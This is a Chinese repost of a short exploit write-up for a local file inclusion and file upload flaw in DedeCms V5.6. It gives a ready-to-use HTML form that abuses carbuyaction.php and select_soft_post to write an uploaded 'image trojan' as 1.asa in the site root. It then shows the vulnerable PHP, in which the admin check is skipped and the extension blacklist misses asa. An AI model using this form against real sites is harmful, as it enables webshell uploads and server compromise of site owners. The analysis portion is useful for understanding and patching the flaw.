DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布)
DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布)
发布时间:2016-12-21 来源:查字典编辑
摘要:DedeCmsV5.6本地包含DedeCmsV5.6本地包含http://t00ls.net/thread-8608-1-1.html之前就...

DedeCmsV5.6 本地包含

DedeCmsV5.6 本地包含

http://t00ls.net/thread-8608-1-1.html

之前就发现了这本地包含的利用方法。

复制代码代码如下:

<form action="http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch">

<input type="hidden" name="newname" value="1.asa">

<input type="file" name="uploadfile">

<input type="submit" value="搜索" name="QuickSearchBtn">

</form>

上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件

简单分析:

文件:select_soft_post.php

复制代码代码如下:

<?php

if(!isset($cfg_basedir))

{

include_once(dirname(__FILE__).'/config.php');

}

//config.php 是用于验证是否管理员。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证。

//文件名(前为手工指定, 后者自动处理)

if(!empty($newname))

{

$filename = $newname;

if(!ereg(".", $filename)) $fs = explode('.', $uploadfile_name);

else $fs = explode('.', $filename);

if(eregi($cfg_not_allowall, $fs[count($fs)-1]))

{

ShowMsg("你指定的文件名被系统禁止!",'javascript:;');

exit();

}

if(!ereg(".", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];

}else{

$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));

$fs = explode('.', $uploadfile_name);

if(eregi($cfg_not_allowall, $fs[count($fs)-1]))

{

ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');

exit();

}

$filename = $filename.'.'.$fs[count($fs)-1];

}

问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型

//这里强制限定的某些文件类型禁止上传

$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";

即可以上传非上面类型的文件,有时也并不鸡肋。。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新脚本攻防学习
热门脚本攻防学习
子分类